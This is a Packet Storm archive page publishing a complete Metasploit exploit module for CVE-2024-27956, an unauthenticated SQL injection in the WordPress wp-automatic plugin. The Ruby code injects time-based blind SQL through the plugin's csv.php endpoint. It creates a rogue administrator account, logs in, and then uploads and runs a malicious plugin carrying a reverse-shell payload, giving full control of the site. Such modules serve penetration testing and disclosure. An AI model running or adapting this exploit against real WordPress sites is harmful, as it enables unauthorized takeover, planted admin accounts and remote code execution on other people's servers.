what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP-Automatic SQL Injection

WordPress WP-Automatic SQL Injection
Posted Oct 30, 2024
Authored by Valentin Lobstein, Rafie Muhammad | Site metasploit.com

This Metasploit module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin versions prior to 3.92.1 to achieve remote code execution. The vulnerability allows the attacker to inject and execute arbitrary SQL commands, which can be used to create a malicious administrator account. The password for the new account is hashed using MD5. Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control over the WordPress site.

tags | exploit, remote, arbitrary, code execution, sql injection
advisories | CVE-2024-27956
SHA-256 | ee57dce5428a24a7b498257e3bc5ee22dadff0bd6e92b4746a779384b38532cb

WordPress WP-Automatic SQL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class SQLExecutionError < RuntimeError; end

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress wp-automatic Plugin SQLi Admin Creation',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions < 3.92.1)
to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,
which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.
Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control
over the WordPress site.
},
'Author' => [
'Rafie Muhammad', # Vulnerability discovery
'Valentin Lobstein' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-27956'],
['WPVDB', '53a51e79-a216-4ca3-ac2d-57098fd2ebb5'],
['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-automatic/automatic-3920-unauthenticated-sql-injection'],
['URL', 'https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'DisclosureDate' => '2024-03-13',
'DefaultTarget' => 0,
'Privileged' => false,
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('USERNAME', [false, 'Username to create', Faker::Internet.username]),
OptString.new('PASSWORD', [false, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
OptString.new('EMAIL', [false, 'Email for the new user', Faker::Internet.email])
]
)
end

def create_sqli_instance
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
execute_sql_query(payload)
end
end

def execute_sql_query(query)
formatted_query = query.strip.upcase.start_with?('INSERT') ? query : "SELECT (#{query})"
response = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-automatic', 'inc', 'csv.php'),
'method' => 'POST',
'vars_post' => {
'q' => formatted_query,
'auth' => "\0",
'integ' => Rex::Text.md5(formatted_query)
}
})

raise SQLExecutionError, "Failed to execute SQL query: #{query}" unless response

response
end

def upload_and_execute_payload(admin_cookie)
plugin_name = Faker::App.name.gsub(/\s+/, '').downcase
payload_name = Faker::Hacker.noun.gsub(/\s+/, '').downcase

payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status('Uploading payload...')

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("Executing the payload at #{payload_uri}...")

register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end

def exploit
create_sqli_instance
wordpress_sqli_initialize(@sqli)

begin
username = datastore['USERNAME']
password = datastore['PASSWORD']
email = datastore['EMAIL']

wordpress_sqli_create_user(username, password, email)
wordpress_sqli_grant_admin_privileges(username)
admin_cookie = wordpress_login(username, password)

fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless admin_cookie

upload_and_execute_payload(admin_cookie)
rescue SQLExecutionError => e
fail_with(Failure::UnexpectedReply, e.message)
end
end

def check
return CheckCode::Unknown unless wordpress_and_online?

print_status('Attempting SQLi test to verify vulnerability...')

create_sqli_instance

begin
if @sqli.test_vulnerable
CheckCode::Vulnerable('Target is vulnerable to SQLi!')
else
CheckCode::Safe('Target is not vulnerable or the SQLi test failed.')
end
rescue SQLExecutionError => e
print_error(e.message)
CheckCode::Unknown('Failed to verify SQLi vulnerability due to an error.')
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close